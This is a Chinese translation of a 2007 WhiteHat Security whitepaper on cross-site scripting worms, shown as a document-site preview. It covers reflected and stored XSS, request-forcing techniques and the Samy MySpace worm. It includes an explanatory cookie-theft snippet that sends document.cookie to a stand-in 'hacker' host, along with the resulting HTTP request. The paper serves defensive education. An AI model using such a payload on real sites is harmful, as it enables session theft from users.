logo资料库

XSS蠕虫&病毒--即将发生的威胁与最好的防御.pdf

第1页 / 共24页
第2页 / 共24页
第3页 / 共24页
第4页 / 共24页
第5页 / 共24页
第6页 / 共24页
第7页 / 共24页
第8页 / 共24页
资料共24页,剩余部分请下载后查看
Cross-Site Scripting Worms & Viruses The Impending Threat & the Best Defense XSS 蠕虫&病毒 即将发生的威胁与最好的防御 June 2007 – updated Jeremiah Grossman Founder and CTO, WhiteHat Security 翻译:Fooying(知道创宇安全研究团队) http://hi.baidu.com/fooying 2013/1/1 知道创宇(www.knownsec.com)专注互联网安全
目录 介绍 .................................................................................................................................................................................. 3 关于 XSS 蠕虫和病毒的 10 条快速介绍_你现在需要知道的: ..................................................................................... 3 XSS 的概述 ....................................................................................................................................................................... 3 非持久型 XSS ............................................................................................................................................................... 4 持久型 XSS ................................................................................................................................................................... 6 他们是怎么做的:传播的方法 ..................................................................................................................................... 6 第一个 XSS 蠕虫: Samy ................................................................................................................................................... 7 第一个 24 小时的传播:Samy 创下的纪录 .............................................................................................................. 8 Code Red I 和 Code Red II(红色代码) ........................................................................................................................ 8 Slammer(地狱) ............................................................................................................................................................. 9 Blaster(冲击波) ............................................................................................................................................................ 9 对比分析 ...................................................................................................................................................................... 9 最坏的情况 .................................................................................................................................................................... 11 最好的防御 .................................................................................................................................................................... 12 用户 ............................................................................................................................................................................ 12 开发者 ........................................................................................................................................................................ 12 安全专家 .................................................................................................................................................................... 13 浏览器厂商 ................................................................................................................................................................ 13 结论 ................................................................................................................................................................................ 13 附录 ................................................................................................................................................................................ 13 嵌入式 HTML 标签 .................................................................................................................................................... 13 JavaScript DOM 对象 ................................................................................................................................................. 14 XmlHttpRequest (XHR) ............................................................................................................................................... 15 Samy 蠕虫代码 .............................................................................................................................................................. 16 Notes .............................................................................................................................................................................. 21 关于 ................................................................................................................................................................................ 23
介绍 2005 年 10 月 14 日, “Samy worm1”成为第一大使用跨站脚本 2(“XSS”)进行传播感染的蠕虫。一夜之间,蠕虫在世 界最流行的社交网站 MySpace.com 上,更改了超过一百万个人用户个人资料页面。该蠕虫通过 JavaScript 病毒性代码 来感染网站,并且添加一个叫 Samy 的黑客为”朋友”和”英雄 3”(译者注:类似于微博关注)。使得 MySpace 这样一个在美 国超过 3200 万用户的、排名前十(根据 ALEXA 排名)的网站被迫关闭以阻止冲击。 Samy,蠕虫作者,原意只是想要变得更知名,然后这样的一个 payload 也是相对良性的。但是,请想想他拥有和控 制着超过一百万可支配的 Web 浏览器和千兆带宽,他可以做什么——浏览器,也可能登录到谷歌,雅虎,微软 Passport, 易趣,网络银行,股票经纪,博客,留言板,或任何其他的 Web 应用程序。不过重要的是我们开始了解相关的风险 的大小与 XSS 恶意软件的方法和途径,企业可以保护他们自己和他们的用户,尤其是当恶意软件来源于信任的网站和 侵略性的编写者。 在本白皮书中,我们将提供一个关于 XSS 的概述;定义 XSS 蠕虫;检验传播方式,感染率和潜在的影响。最重要的 是,我们将描述如何立即采取措施,企业可以采取以捍卫他们的网站。 关于 XSS 蠕虫和病毒的 10 条快速介绍_你现在需要知道的: XSS 的爆发: 1、 可能来自社区驱动的受欢迎的网站的功能,如社交网络,博客,用户评论,留言板,聊天室,网络邮件,和维基 百科。 2、 可发生于任何时间,因为传播所需的漏洞存在于超过 80%的网站。 3、 甚至比更臭名昭著的蠕虫病毒,如 Code Red, Slammer 和 Blaster 传播的更快更干净。 4、 可以创建一个 Web 浏览器僵尸网络实现大规模的 DDoS 攻击。存在破坏数据、发送垃圾邮件、欺骗客户的潜力。 5、 与操作系统(Windows,Linux 和 Macintosh OS X 等等)无关,因为是在 Web 浏览器发生并执行的。 6、 能够避免网络堵塞,因为通过 Web 服务器到 Web 浏览器(客户端 - 服务器)模式传播,而不是一个典型的盲目的 对等模型。 7、 不依赖于 web 浏览器或者操作系统漏洞。 8、 可以利用第三方提供的网页部件(广告横幅,天气和投票模块,JavaScript 的 RSS 订阅,流量计数器等)传播。 9、 找出恶意代码将是一个挑战,因为受感染的浏览器的网络行为保持相对不变,很难区分正常的 Web 页面标签中的 JavaScript 攻击代码。 10、 比传统互联网病毒更容易停下来,因为拒绝感染网站的访问可以被隔离以阻止传播。 XSS 的概述 最重要的要了解 XSS 漏洞的是,他们是目前为止发现的,在所有网站超过 80%比例的定制 Web 应用程序中最常 见的漏洞。虽然跨站点脚本在一段时间内一直被认为是中等程度的的漏洞,但 XSS 蠕虫和病毒的出现,已经提高了 XSS 的评估。软件开发人员和安全专业人员需要知道它是多么简单,以防止代码开发过程中出现 XSS 漏洞,并且一经查出, 他们是多么容易解决。XSS 是一种攻击技术,它使得一个网站,写出攻击者提供的可执行代码,然后加载在用户的 Web 浏览器。也就是说,当黑客使用存在漏洞的网站作为攻击的通道时,用户是预定的受害者。
非持久型 XSS (译者注:也叫反射型 XSS) 想想看,一个黑客想使用“http://victim/”网站对用户进行 XSS 攻击。黑客会采取的第一个步骤是在 http://victim/ 找出一个 XSS 漏洞,然后构造一个特制的 URL,也被称为链接。要做到这一点,黑客会搜寻网站上的客户端提供的数 据可以被发送到 Web 服务器,然后回显到屏幕上的任何功能,比如搜索框。 图一展现的是一种常见的在线发布的博客。XSS 漏洞往往出现在搜索框表单。在搜索字段中输入“test search”, 响应页面将用户输入的文本在显示在三个不同的位置,如图 2 所示。图下方是新的 URL。查询字符串中包含值为 “test+search”的“search”参数。这个 URL 值可以在运行时更改,甚至包括 HTML / JavaScript 的内容。 图 1,http://victim/ 图 2,http://victim/search.pl?search=test+search 图 3 展示了原来的搜索词被替换为下面的 HTML / JavaScript 代码时会发生什么: Example 1. ”> 结果页面弹出了一个无害的警告对话框。根据提示,提交的代码已经成为 web 页面的一部分,证明了 JavaScript 已进入到 http://victim/的上下文并得到执行。图 4 展示了夹杂有新的 HTML/ JavaScript 代码的 Web 页面的 HTML 源代 码。
图 3,原来的搜索词将被替换为 HTML/ JavaScript 代码。 图 4,夹杂有新的 HTML/ JavaScript 代码的 Web 页面的 HTML 源代码。 此时,黑客将会继续修改这个 URL,包含更复杂的 XSS 攻击来利用用户。一个典型的例子是一个简单的 cookie 盗 窃的攻击。 Example 2. “> 前面的 JavaScript 代码创建一个图像 DOM(文档对象模型)对象。 var img=new Image(); 因为 JavaScript 代码在“http://victim/”上下文中执行,所以它可以访问 cookie 数据。 document.cookie; 图形对象然后指派一个外域的 URL 发送带有 Web 浏览器的 Cookie 字符串的数据到“http://hacker/”。 img.src=”http://hacker /” + document.cookie; 下面是一个例子,是一个被发送的 HTTP 请求。 Example 3. GET http://hacker/path/_web_browser_cookie_data HTTP/1.1 Host: host User-Agent: Firefox/1.5.0.1 Content-length: 0
一旦黑客完成了他的攻击代码,他会通过垃圾邮件,留言板的帖子,即时消息和其他方法宣传这种特制的链接, 试图吸引用户点击。是什么让这种攻击这么有效?用户可能点击正常的网络钓鱼邮件 7 中的链接是因为这个 URL 包 含了真正的网站域名,而不是一种外观相似的域名或随机的 IP 地址。应当注意的是,过长的 XSS 链接可以使用 URL 缩短服务,如 TinyURL.com 进行伪装。 持久型 XSS (译者注:也叫存储型 XSS) 持久型(或 HTML 注入型)XSS 攻击最常发生在由社区内容驱动的网站或 Web 邮件网站,不需要特制的链接来 执行。黑客仅仅需要提交 XSS 漏洞利用代码到一个网站上其他用户可能访问的地方。这些地区可能是博客评论,用户 评论,留言板,聊天室,HTML 电子邮件,wikis,和其他的许多地方。一旦用户访问受感染的网页,执行是自动的。 这使得持续性的 XSS 的危险性比非持久性高,因为用户没有办法保护自己。一旦黑客成功在某个页面注入了漏洞利 用代码,他将宣传受感染页面的 URL 来希望不知情的用户中招。即使用户对非持续性 XSS 的 URL 懂得识别,也会很 容易的受到影响(译者:中招)。 无论使用非持续性或持续性的 XSS 漏洞,黑客可以利用用户,导致网络和财务上的损失,有许多的方法。 从这点出发,我们将专注于的 XSS 病毒和蠕虫的攻击技术。欲了解更多 XSS 信息,请访问“跨站脚本常见问题 解答 8”和“XSS 小抄 9” ,两个优秀的信息资源。 他们是怎么做的:传播的方法 对于一个病毒或蠕虫想要成功,它需要一个执行和传播的方法。电子邮件病毒通常在鼠标点击后执行,然后通过 您的联系人列表来发送带有恶意软件的的邮件进行传播。网络蠕虫利用远程利用漏洞危害机器和并且通过连接到其他 存在漏洞的主机进行传播。除传播之外,蠕虫病毒还是高度多样化,包括创造 DDoS 僵尸网络,垃圾邮件僵尸,或远 程键盘监控的能力。XSS 蠕虫与其他形式的恶意软件相似,但以自己独特的方式执行和传播。使用一个网站来存放恶 意代码,XSS 蠕虫和病毒通过控制 Web 浏览器,使得它复制恶意软件到网络上的其他地方去感染别人来进行传播。例 如,一个含有恶意软件的博客评论,可以使用访问者的浏览器发布额外的感染性的博客评论。XSS 蠕虫病毒可能会使 得浏览器进行发送电子邮件,转账,删除/修改数据,入侵其他网站,下载非法内容,以及许多其他形式的恶意活动。 用最简单的方式去理解,就是如果没有适当的防御,在网站上的任何功能都可以在未经用户许可的情况下运行。 在最后一节中,我们将重点放在 XSS 漏洞本身,以及用户可以怎么样被利用。现在,我们来看 XSS 恶意软件是如 何可以进行远程通信。XSS 漏洞利用代码,通常是 HTML / JavaScript,使用三种方式使得浏览器发送远程 HTTP 请求的 浏览器:嵌入式的 HTML 标签,JavaScript DOM 的对象,XMLHTTPRequest(XHR)。 另外,请记住,如果你碰巧登录到远程网站,您的浏览器是被迫作出的身份验证的请求的。关于 XSS 恶意软件的 传播方法与传统互联网病毒的明显差异将会进行简要说明。 嵌入式 HTML 标签 一些 HTML 标签具有在页面加载时会自动发起 Web 浏览器的 HTTP 请求的属性。有一个例子是 IMG(图像)的 SRC 属性。SRC 属性用于指定在 Web 页面中显示的图像文件的 URL 地址。当你的浏览器载入带有 IMG 标签的网页, 图像会自动被请求,并在浏览器中显示。但是,SRC 属性也可以被用于任何 Web 服务器的其他 URL,不仅仅是包含图 像的。 例如,如果我们进行了谷歌搜索“WhiteHat Security”我们最终得到了下面的 URL:
http://www.google.com/search?hl=en&q=whitehat+security&btnG=Google+Search 这个 URL 可以很容易地取代 IMG 内的 SRC 属性的值,从而迫使您的 Web 浏览器中执行相同的谷歌搜索。 显然使得 Web 浏览器发送一个谷歌搜索请求是没有什么危害性的。然而,URL 构建的同样的过程可以用来使得 Web 浏览器自动进行银行账户资金的汇款,发表煽动性言论,甚至入侵网站。这一点可以说明,这是一个迫使一个 Web 浏览器连接到其他网站,使的 XSS 蠕虫病毒传播的机制。 额外的源码例子可见“嵌入式 HTML 标签”的附录部分。 JavaScript 和文档对象模型 JavaScript 被用于给网站访问者一个丰富的、交互式的体验。这些网页更接近于一个软件应用程序,而不是一个 静态的 HTML 文档。我们常会看到 JavaScript 被用于进行图像的翻转,动态表单输入检查,弹出对话框,下拉菜单, 拖动和拖放等。JavaScript 有接近完全的对网站上的每一个对象,包括图像,cookies,窗口,框架和文本内容的访问。 这些对象中的每一个都是文档对象模型(DOM)的一部分。 可以操纵 DOM 对象自动发起 Web 浏览器的 HTTP 请求。图像和窗口的源 URL 可以被重新指定为其他 URL 的。 在上一节中,我们可以使用 JavaScript 来改变图像的 DOM 对象 SRC 进行谷歌搜索“WhiteHat Security”。 DOM 提供了一系列 JavaScript 读取和操作的应用程序编程接口(API)。类似嵌入式 HTML 标签的功能,JavaScript img[0].src = http://www.google.com/search?hl=en&q=whitehat+security&btnG=Google+ Search; 正如上一节中,迫使 Web 浏览器连接到其他网站发送一个谷歌搜索请求是一种无害的例子。但这也说明了 XSS 恶意软件传播的另一种方法。 额外的源码例子可见“JavaScript DOM 对象”的附录部分。 XmlHttpRequest (XHR) 2005 年 2 月,Jesse James Garrett 创造一个被称为“异步 JavaScript 和 XML”或“AJAX”的 Web 编程术语 10。AJAX 定义了使网站内容进行更新而无需重新加载的技术的集合。今天,许多流行的网站,包括 Gmail 和谷歌地图使用 AJAX 的丰富的功能。中央的底层技术是一种称为 XMLHttpRequest11(XHR)的 JavaScript API,支持 IE 浏览器,Mozilla,Firefox, Safari,Camin,Opera 和许多其他浏览器的。XHR 提供了一个灵活的机制来发送 HTTP 请求。有 XHR 后,使用 HTML 技 巧或操作 DOM 对象是没有必要的。任意请求可以在后台发送。 源码例子可见“XmlHTTPRequest”的附录部分。 第一个 XSS 蠕虫: Samy 2005 年 10 月 4 日,Samy 蠕虫,同类中第一个重大的蠕虫病毒,利用一个在 MySpace.com 的个人资料页面模板 的持续的跨站点脚本漏洞进行传播。Samy,也是作者,用漏洞的 JavaScript 攻击代码的第一个副本更新了他的个人资 料页面(图 5)。MySpace 上进行一些的输入的黑名单过滤,以防止 XSS 攻击,但他们还做的不够好。使用一些绕过技 术,Samy 成功上传了他的代码。当一个通过身份验证 MySpace 的用户观看 Samy 的个人资料,该蠕虫病毒的 payload
使用 XHR,使得用户的网页浏览器发送请求,增加 Samy 为朋友,包括加 Samy 为他英雄(译者注:类似微博关注) (“但最重要的是,加 Samy 为英雄这点”,如图 6),并用恶意代码的副本改变用户的个人资料。当用户访问 Samy 或 者其他受感染用户的个人资料页,他们基本上在打开浏览器时就受到攻击。 图 5 和图 6 示是 MySpace 蠕虫的技术解释。 图 5(左)。Samy,作者,更新了他的个人资料的页面。 图 6(右)。当通过身份验证的 MySpace 用户浏览 Samy 的个人资料,蠕虫 payload 使用 XHR,使得用户的 Web 浏览器添加 Samy 朋友,包括添加 Samy 为英雄 从单一访客,然后随着在社交网络上的每一个新的不知情的朋友,Samy 蠕虫感染呈几何级数增长,受感染的用 户资料页面超过 1,000,000。MySpace 是被迫关闭其网站,以阻止感染,修复漏洞,并进行清理。重要的是要注意, MySpace 的用户不需要是脆弱的东西。对于任何类似的蠕虫病毒所需要的是一个对于大多数网站已经存在的流行网 站的漏洞。为了获得 Samy 蠕虫的意义的新的认识,我们会比较其它相关的暴发,并看到它如何壮大起来的。 第一个 24 小时的传播:Samy 创下的纪录 病毒或蠕虫爆发的第一个 24 小时内,传播速度最快,并导致造成最大的伤害。病毒和蠕虫传播使用各种不同的 技术,各有自己的长处和局限性。全球网络的反应的首要任务是先确定新的疫情,隔离源头,捕捉违规的恶意软件, 确定感染方法和传播模式,然后制定防御措施。让我们回顾一些近几年的大爆发,然后看看 Samy 蠕虫是如何使他们 黯然失色的。 Code Red I 和 Code Red II(红色代码) 2001 年 7 月 12 日 - “红色代码”利用了微软的 IIS Web 服务的缓冲区溢出漏洞。红色代码(Code Red)在 24 小 时通过随机扫描其他受害者感染了超过 359,000 的电脑 15。几个星期后(2001 年 8 月 4 日),红色代码 II,不同的但 更先进的蠕虫,利用相同的漏洞来感染 275,000 台电脑 16。从许多变种的红色代码(Code Red)的 payload 分析,包
分享到:
收藏